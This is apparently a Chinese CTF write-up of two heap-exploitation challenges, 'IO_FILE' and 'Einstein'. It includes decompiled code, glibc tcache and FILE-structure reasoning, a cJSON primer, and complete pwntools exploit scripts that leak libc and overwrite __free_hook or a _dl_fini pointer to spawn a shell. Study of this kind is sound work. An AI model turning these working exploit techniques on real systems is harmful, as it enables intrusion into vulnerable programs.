IO_FILE
checksec
[*] '/home/matrix/PWN/AXB/IO_FILE/attachment/IO_FILE'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
只开起了NX
IDA
整个程序就只有add,delete,和exit,那么要泄露地址应该要通过IO攻击,这让我深刻明白我的IO学的有多烂,所以就自己跟了一次源码
if ( choice != 2 )
break;
del(); // 只free了description_chunk未进行指针置零
}
if ( choice == 3 )
{
puts("bye bye ");
exit(0);
}
if ( choice == 1 )
add(); // malloc(0x10)指针记录在bss段
else
关键在del函数未进行指针置零:
void del()
{
unsigned int index; // [rsp+Ch] [rbp-4h]
printf("index:");
index = read_num();
if ( index > 9 )
{
puts("Invalid index");
exit(0);
}
free(*heap[index]); //<===============
}
环境是glibc2.27那么这个题考察的就是tcache和IO的漏洞配合
数据结构:
思路
从要在tcache中泄露libc地址,方法很明确就是free8次,恰好这里指针未置零。先add一个较大的chunk(add(0xa0),和一个fastbin小chunk(add(0x10))防止于topchunk合并。free第一个chunk8次后:
tcachebins
0xb0 [ 7]: 0x16fc280 —▸ 0x7fde0299fca0 (main_arena+96) —▸ 0x16fc370 ◂— 0x0
之后再次进行add(0x10),由于tcache,fastbin,smallbin中都没有一样的chunk,而unsortedbin中的chunk不可切割(因为unsorted bin中有且仅有一个last remainder才可以进行切割),所以触发unsortedbin遍历放入smallbin中,由于在largbin中没有合适的chunk进行map遍历,获取smallbin中的那个chunk并进行切割(0x20),剩下的放入unsortedbin(有且仅有一个last remainder)之后的切割对unsortedbin进行。所以add(0x10)会在第一个chunk中一共切割出0x40的空间,而且是将其看作非tcache chunk进行的,所以就篡改了tcachebins 0xb0的指向,所以将main_arena+96指针覆盖为指向IO_2_1_stdout(add(0x10,’\x60\x37’)):
tcachebins#显然这里需要爆破一位数,可以在本地关闭ASLR
0xb0 [ 7]: 0x603280 —> 0x6032a0 —> 0x7ffff7dd3760 (_IO_2_1_stdout_) <— 0xfbad2887
然后获取_IO_2_1_stdout_写入权后,覆盖_IO_write_base的最后一位指向_IO_2_1_stderr->vtable,达到泄露的目的。需要注意的是在进行覆盖时我们不知道libc地址所以只能进行最差条件下的覆盖,即如下伪造:
_flags(原flags) |= _IO_IS_APPENDING(0x100) #绕过SYSSEEK
_flags |= _IO_CURRENTLY_PUTTING(0x800) #绕过_IO_OVERFLOW 的if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
在进行泄露地址之前,将index 4的chunksize位覆盖为0xf1,这样我们释放它时就不会放入那个已经free8次的链表中,可以进行tcache攻击控制程序执行流。
EXP
#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: 2020.11.25 19.48.14
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
from FILE import*
context.arch = 'amd64'
def add(size,cont):
sh.sendlineafter('>\n','1')
sh.sendlineafter('size:\n',str(size))
sh.sendafter('description:',str(cont))
def delete(index):
sh.sendlineafter('>\n','2')
sh.sendlineafter('index:',str(index))
def exit():
sh.sendlineafter('>\n','3')
def show_addr(name,addr):
log.success('The '+str(name)+' Addr:' + str(hex(addr)))
host = '1.1.1.1'
port = 10000
local = 0
if local:
context.log_level = 'debug'
libc=ELF('/glibc/x64/2.27/lib/libc-2.27.so')
elf = ELF('./IO_FILE')
#sh = process('./IO_FILE')
else:
context.log_level = 'debug'
libc=ELF('libc.so.6')
elf = ELF('./IO_FILE')
#sh = remote('axb.d0g3.cn',20102)
def pwn():
#usefull : add delete
add(0xa0,'/bin/sh\x00') #0
add(0x20,p64(0xdeadbeef)*2) #1 防止合并
for i in range(8):
delete(0) #0xb0
add(0x10,'\x60\x37') #2
add(0xa0,'/bin/sh\x00'.ljust(0x18,'A')+p64(0xf1))
add(0xa0,'\n')
payload = p64(0xfbad3887) + p64(0)*3 + p8(0x58)
add(0xa0,payload)
libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - libc.sym['_IO_file_jumps']
if (libc_addr == - libc.sym['_IO_file_jumps']):
sh.close()
free_hook = libc_addr + libc.sym['__free_hook']
malloc_hook = libc_addr + libc.sym['__malloc_hook']
system_addr = libc_addr + libc.sym['system']
show_addr('malloc_hook',malloc_hook)
show_addr('free_hook',free_hook)
show_addr('system_addr',system_addr)
show_addr('libc_addr',libc_addr)
for i in range(2):
delete(4)
add(0xe0,p64(free_hook))
add(0xe0,'\n')
add(0xe0,p64(system_addr))
delete(0)
sh.interactive()
'''
Fake chunk | Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7ffff7dd2c0d
prev_size: 0x7f
size: 0x7f
fd: 0x00
'''
if __name__ == '__main__':
while True:
try:
sh = remote('axb.d0g3.cn',20102)
pwn()
except:
sh.close()
Official EXP
其实这题应该是我的思路狭窄了,只想到了unsortedbin chunk获取libc地址,在关闭缓冲区时,其实bss段中的全局变量就已经包含了libc地址,所以最恰当的做法是double free后篡改链表到bss段
获取stdout_chunk,泄露libc,再次double free向free_hook写入system
#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: 2020.11.25 19.48.14
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
from FILE import*
context.arch = 'amd64'
def add(size,cont):
sh.sendlineafter('>\n','1')
sh.sendlineafter('size:\n',str(size))
sh.send(str(cont))
def delete(index):
sh.sendlineafter('>\n','2')
sh.sendlineafter('index:',str(index))
def exit():
sh.sendlineafter('>\n','3')
def show_addr(name,addr):
log.success('The '+str(name)+' Addr:' + str(hex(addr)))
host = '1.1.1.1'
port = 10000
local = 1
if local:
context.log_level = 'debug'
libc=ELF('/glibc/x64/2.27/lib/libc-2.27.so')
elf = ELF('./IO_FILE')
#sh = process('./IO_FILE')
else:
context.log_level = 'debug'
libc=ELF('libc.so.6')
elf = ELF('./IO_FILE')
#sh = remote('axb.d0g3.cn',20102)
def pwn():
#usefull : add delete
add(0x40,'\n')
delete(0)
delete(0)
add(0x40,p64(0x602080))
add(0x40,'\x40')
add(0x40,'\x40')
payload = p64(0xfbad1887) + p64(0)*3 + '\x58'
#gdb.attach(sh,'b*new_do_write')
add(0x40,payload)
libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - libc.sym['_IO_file_jumps']
free_hook = libc_addr + libc.sym['__free_hook']
system_addr = libc_addr + libc.sym['system']
show_addr('libc_addr',libc_addr)
show_addr('free_hook',free_hook)
show_addr('system_addr',system_addr)
add(0x50,'\x50')
#gdb.attach(sh)
delete(5)
delete(5)
add(0x50,p64(free_hook))
add(0x50,'/bin/sh\x00')
add(0x50,p64(system_addr))
#gdb.attach(sh)
delete(7)
sh.interactive()
if __name__ == '__main__':
while 1:
try:
sh = process('./IO_FILE')
pwn()
except:
sh.close()
但是用这个方法的时候遇到一个小问题:
前面malloc获得_IO_2_1_stdout的chunk后rsi就是0xfbad2887然而在调用printf的时候进入vfprintf并没有执行,也就是没有输出,当时我以为是我脚本的问题,就没用这个方法了
► 0x400951 <add+345> call printf@plt <printf@plt>
format: 0x400ba5 <— 'description:'
vararg: 0xfbad2887
Einstein
前言–JSON
介绍
JSON(JavaScript Object Notation, JS 对象简谱) 是一种轻量级的数据交换格式。它基于 ECMAScript (欧洲计算机协会制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。—百度百科
语法规则
- JSON是一个标记符的序列。这套标记符包含六个构造字符、字符串、数字和三个字面名。
- 六个构造字符: [ 左方括号 { 左大括号 ] 右方括号 } 右大括号 : 冒号 , 逗号
- 这六个构造字符的前后可以出现无意义的空白符(ws):空格 换行 回车 水平制表
- JSON是一个序列化的对象或数组。对象可以理解为键值对,数组理解为多元素的组合,并不是统一类型
- JSON的构成: ws 值 ws,值可以是对象,数组,数字,字符串或者三个字面值(false,null,true)中的一个
自己使用时可以只需要其中的cJSON.c和cJSON.h文件就可以了,只需要将cJSON和自己的main文件一起编译即可。
主要函数接口
存储数据结构:
/* The cJSON structure: */
typedef struct cJSON {
struct cJSON *next,*prev; /* 遍历数组或对象链的前向或后向链表指针*/
struct cJSON *child; /*数组或对象的孩子节点*/
int type; /* key的类型*/
char *valuestring; /*字符串值*/
int valueint; /* 整数值*/
double valuedouble; /* 浮点数值*/
char *string; /* key的名字*/
} cJSON;
1.cJSON *cJSON_Parse(const char *value);
解析JSON数据包,并按照cJSON结构体的结构序列化整个数据包。可以看做是获取一个句柄。
2.cJSON *cJSON_GetObjectItem(cJSON *object,const char *string);
功能:获取json指定的对象成员
参数:*objec:第一个函数中获取的句柄。
string:需要获取的对象
返回值:这个对象成员的句柄 如果json格式的对象成员直接就是字符串那么就可以直接通过结构体中的valuestring元素来获取这个成员的值
3.cJSON *cJSON_GetArrayItem(cJSON *array,int item);
功能:有可能第二个函数中获取到的是成员对象值是一个数组,那么就需要用到这个函数。用来获取这个数组指定的下标对象
参数:*array:传入第二步中返回的值
item:想要获取这个数组的下标元素
返回值:这个数组中指定下标的对象。然后在对这个返回值重复使用第二步函数就可以获取到各个成员的值了。
也就是说对象是数组的比是字符串的要多用一个cJSON_GetArrayItem函数,其他的没区别。
4.cJSON_Delete()
用来释放你第一步获取的句柄,来释放整个内存。用在解析完后调用
前言–exit的_dl_fini调用
exit的调用顺序是:
- exit
- _dl_fini 中调用:rtld_lock_default_lock_recursive,主要是这种调用像vtabel的虚表跳转调用相关实现函数类似,是通过获取某个地址上保存的函数指针实现,在gdb中表现为:
从gdb中可以发现在这种调用的特点:0x7ffff7de9747 <_dl_fini+119> lea rdi, [rip + 0x2141fa] <0x7ffff7ffd948> ► 0x7ffff7de974e <_dl_fini+126> call qword ptr [rip + 0x2147f4] <rtld_lock_default_lock_recursive> rdi: 0x7ffff7ffd948 (_rtld_local+2312) ◂— 0x0 rsi: 0x7ffff7ffd040 (_rtld_local) —▸ 0x7ffff7ffe168 ◂— 0x0 rdx: 0x7ffff7de96d0 (_dl_fini) ◂— push rbp rcx: 0x7ffff7dd5c50 (initial+16) ◂— 0x4 0x7ffff7de9754 <_dl_fini+132> mov ecx, dword ptr [r14] pwndbg> p /x 0x7ffff7de9754+0x2147f4 $2 = 0x7ffff7ffdf48 pwndbg> vmmap 0x7ffff7ffdf48 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 23000 /glibc/x64/2.23/lib/ld-2.23.so +0xf48 pwndbg>
- 通过rip+offset获取存放地址,注意rip是下一个指令的偏移
- 恰好该地址是位于libc的WR数据段
扯了这么多,回到题目
checksec
[*] '/home/matrix/PWN/AXB/Einstein/attachment/sfs'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
没有开启RELRO保护,似乎可以进行got表攻击(然而并不是这样的)
IDA
首先在check函数中,存在uaf可以泄露libc,但是name和passwd都不能为admin
v2 = cJSON_GetObjectItem(a1, "name");
snprintf(s, 0x80uLL, "%s", *(_QWORD *)(v2 + 0x20));
if ( strcmp(s, "admin") )
{
printf("logger:%s login error!\n", s);
free(s); //<===============
}
v3 = cJSON_GetObjectItem(a1, "passwd");
snprintf(s1, 0x80uLL, "%s", *(_QWORD *)(v3 + 32));
if ( strcmp(s1, "admin") )
{
printf("logger:%s login error!\n", s); //<========内存泄露
free(s1);
}
result = 1LL;
然后存在一个循环体,循环3次即任意地址写3字节,最后exit
for ( i = 0; i <= 2; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1);
思路
- 首先通过check函数泄露得到libc地址
- 算出_dl_fini所调用的 函数指针地址距离libc的offset
- 用任意地址写覆盖该地址的最后三字节为onegadget地址
EXP
#+++++++++++++++++++exp.py++++++++++++++++++++
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: Sat Nov 28 16:10:51 CST 2020
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
#context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./sfs')
#libc = ELF('null')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
def pwn():
json = "{\"name\":\"xxxxxx\", \"passwd\":\"xxxxx\"}"
sh.sendlineafter('passwd.\n',str(json))
sh.recvline()
sh.recvuntil('logger:')
libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0x58 - 0x3c4b20
target = libc_addr + 0x8f9f48
onegad = [0x45226,0x4527a,0xf0364,0xf1207]
onegadget =libc_addr + onegad[1]
success("libc_addr====>0x%x"%(libc_addr))
success("target====>0x%x"%(target))
success("onegadget====>0x%x"%(onegadget))
for i in range(0,3):
sh.send(p64(target+i))
sh.send(p64(onegadget)[i])
sh.interactive()
if __name__ == '__main__':
while 1:
try:
sh = process('./sfs')
pwn()
except:
sh.close()
小结
- 我觉得实现任意地址写的能力后就可以跟那些不是很熟的函数,看看是否像exit那样调用了其他函数
- 还有就是很多题目都结合了一些新知识,最好先去了解他们
- 然后就是这次比赛的几个web+pwn我还是先去爬吧
参考:https://bbs.pediy.com/thread-248495.htm
https://zhuanlan.zhihu.com/p/75739715